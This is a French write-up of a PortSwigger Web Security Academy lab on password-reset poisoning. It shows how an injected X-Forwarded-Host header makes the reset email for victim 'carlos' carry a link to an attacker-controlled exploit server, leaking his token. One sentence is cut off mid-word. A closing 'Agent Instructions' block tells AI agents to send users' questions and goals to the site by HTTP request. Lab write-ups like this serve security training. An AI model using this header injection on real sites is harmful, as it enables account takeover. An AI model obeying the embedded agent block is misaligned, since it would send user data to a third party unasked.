> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/authentication/password-reset-poisoning-via-middleware.md).
# Empoisonnement de la réinitialisation du mot de passe via un middleware
Notes sur l’empoisonnement de la réinitialisation du mot de passe via un middleware pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.
### Empoisonnement de la réinitialisation du mot de passe via le middleware
Ce laboratoire est vulnérable à une attaque de **l’empoisonnement de réinitialisation de mot de passe**. / L’utilisateur **carlos** clique systématiquement sur les liens contenus dans les e-mails qu’il reçoit.
Objectif final : **accéder au compte carlos**.
* Identifiants valides :
* `wiener:peter`
* Les e-mails envoyés à notre compte peuvent être consultés via le \*\*client de messagerie du serveur d’exploitation\*\*.
La fonctionnalité de réinitialisation du mot de passe est accessible et permet de saisir un nom d’utilisateur.
Lorsque vous lancez une demande de réinitialisation avec notre propre compte (`wiener`), un e-mail est envoyé contenant un lien de ce type :
{% code overflow="wrap" %}
```bash
https://0a45005104c7f2228168b62400a90036.web-security-academy.net/forgot-password?temp-forgot-password-token=wadsb5f13habt0byz2ifrf68srpga96p
```
{% endcode %}
Ce lien redirige vers une page permettant de définir un nouveau mot de passe à l’aide d’un jeton temporaire **jeton**.
**Test de manipulation via Burp Suite**
En interceptant la requête de réinitialisation du mot de passe avec **Burp Suite**, nous ajoutons l’en-tête HTTP suivant :
```http
X-Forwarded-Host: test.com
username=wiener
```
L’e-mail reçu contient toujours le jeton valide, mais \*\*l
Cela indique que l’application \*\* fait confiance à `X-Forwarded-Host`l’en-tête \*\* pour générer le lien de réinitialisation.
```http
X-Forwarded-Host: exploit-0af100e80420f2c381b0b5a301a8008c.exploit-server.net
username=carlos
```
**Exploitation sur la victime**
Répétez l’attaque, cette fois en ciblant **carlos** et en utilisant l’URL de **serveur d’exploitation**
Un e-mail est envoyé à carlos contenant un lien de réinitialisation **hébergé sur notre serveur d’exploitation**, avec un **jeton**:
```bash
/forgot-password?temp-forgot-password-token=r5jf8u0c48zh54pgoqx8jol619pboi3i
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/web/authentication/password-reset-poisoning-via-middleware.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
